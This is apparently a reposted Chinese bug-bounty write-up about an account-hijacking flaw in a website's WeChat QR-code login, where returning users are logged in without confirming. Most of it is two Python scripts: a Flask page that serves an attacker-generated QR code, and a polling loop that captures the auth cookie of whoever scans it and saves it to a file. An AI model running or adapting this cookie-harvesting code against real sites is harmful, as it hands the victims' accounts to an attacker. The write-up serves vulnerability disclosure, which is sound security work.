0x00 场景
用户首次登录需要扫描微信二维码,关注公众号后,后续扫码就可以直接登录(不需要用户二次确认),漏洞点就存在于不需要关注公众号的用户二次确认,利用过程如下
0x01 案例
1、微信扫码登录
拦截生成二维码数据包
记录qrKey数据qrKey=0f8a85088ce******cfc743c963b1f
2、轮询
轮询qrKey,直到用户使用微信扫码,生成ticket
3、获取cookie
# @Author:carrypan
# -*- codeing = utf-8 -*-
from flask import Flask,render_template
import sqlite3
app = Flask(__name__)
def qrcode():
f = open("ticket.txt", 'r')
ticket = f.readline()
url='https://mp.weixin.qq.com/cgi-bin/showqrcode?ticket={}'.format(ticket)
print(url)
f.close()
return '<img src={}>'.format(url)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5003,debug=False)
# @Author:carrypan
# -*- codeing = utf-8 -*-
import requests
import time
header = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
'Referer': "https://www.xxx.com/"
}
while True:
flag = 0
#生成微信二维码
burp0_url = "https://xxx.xxx.xxx:443/api/com.xxx.open.wxqr.get-sanqr"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "X-Client-Type": "web", "X-Fscp-Fe-Version": "", "X-Fscp-Version": "1.1", "X-Fscp-Std-Info": "{"client_id": "null"}", "X-Fscp-Bi-Stat": "{"location": "https://www.xxx.com/"}", "X-Requested-With": "XMLHttpRequest", "X-Fscp-Trace-Id": "null", "X-XSRF-TOKEN": "null", "Origin": "https://www.xxx.com", "Connection": "close", "Referer": "https://www.xxx.com/", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-site"}
burp0_data = {"programCode": "wxpaccount_lp21", "source": "R000349971"}
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
ticket = resp.text.split('ticket')[1].split('"')[0].split('=')[1]
f = open("ticket.txt", "w")
f.write(ticket)
f.close()
qrKey = resp.text.split('qrKey')[1].split('"')[2]
print(qrKey)
while True:
# print("开始轮询二维码状态")
burp0_url = "https://api-xxx-open.xxx.com:443/api/com.xxx.open.wxqr.qr-ack"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "X-Client-Type": "web", "X-Fscp-Fe-Version": "", "X-Fscp-Version": "1.1", "X-Fscp-Std-Info": "{"client_id": "null"}", "X-Requested-With": "XMLHttpRequest", "X-Fscp-Trace-Id": "null", "X-XSRF-TOKEN": "null", "Origin": "https://www.xxx.com", "Connection": "close", "Referer": "https://www.xxx.com/", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-site"}
burp0_data = 'qrKey=' + qrKey
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(resp.text)
result = resp.text.split('result')[1].split('"')[2]
if('ticket' in resp.text):
ticket = resp.text.split('ticket')[1].split('"')[2]
if result == 'EXPIRED':
# print('二维码已失效,请重新刷新')
burp0_url = "https://api-xxx-open.xxx.com:443/api/com.xxx.open.wxqr.get-sanqr"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "X-Client-Type": "web", "X-Fscp-Fe-Version": "", "X-Fscp-Version": "1.1", "X-Fscp-Std-Info": "{"client_id": "null"}", "X-Fscp-Bi-Stat": "{"location": "https://www.xxx.com/"}", "X-Requested-With": "XMLHttpRequest", "X-Fscp-Trace-Id": "null", "X-XSRF-TOKEN": "null", "Origin": "https://www.xxx.com", "Connection": "close", "Referer": "https://www.xxx.com/", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-site"}
burp0_data = {"programCode": "wxpaccount_lp21", "source": "R000349971"}
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
ticket = resp.text.split('ticket')[1].split('"')[0].split('=')[1]
f = open("ticket.txt", "w")
f.write(ticket)
f.close()
qrKey = resp.text.split('qrKey')[1].split('"')[2]
continue
if result == 'NO_RESULT':
# print('二维码未扫描')
continue
if result == 'SUCCESS_BIND':
flag = 1
print('登陆成功')
# 获取cookie信息
burp0_url = "https://api-xxx.xxx.com:443/api/com.xxx.passport.account.ticket-login"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "X-Client-Type": "web", "X-Fscp-Fe-Version": "", "X-Fscp-Version": "1.1", "X-Fscp-Std-Info": "{"client_id": "null"}", "X-Fscp-Bi-Stat": "{"location": "https://www.xxx.com/"}", "X-Requested-With": "XMLHttpRequest", "X-Fscp-Trace-Id": "null", "X-XSRF-TOKEN": "null", "Origin": "https://www.xxx.com", "Connection": "close", "Referer": "https://www.xxx.com/", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-site"}
burp0_data = 'businessId=xxx&ticket=' + ticket +'&result=SUCCESS_BIND'
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
with open('cookie.txt','a') as fw:
cookie = resp.headers['Set-Cookie'].split('xx_auth=')[1].split(';')[0]
print("获取cookie为: xx_auth=" + cookie)
fw.write(cookie + 'n')
fw.close()
break
time.sleep(1)
if flag == 1:
break
time.sleep(5)
查看cookie信息
0x03 0元结局
原文始发于微信公众号(安全艺术):某SRC的一次0元账号劫持漏洞记录
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论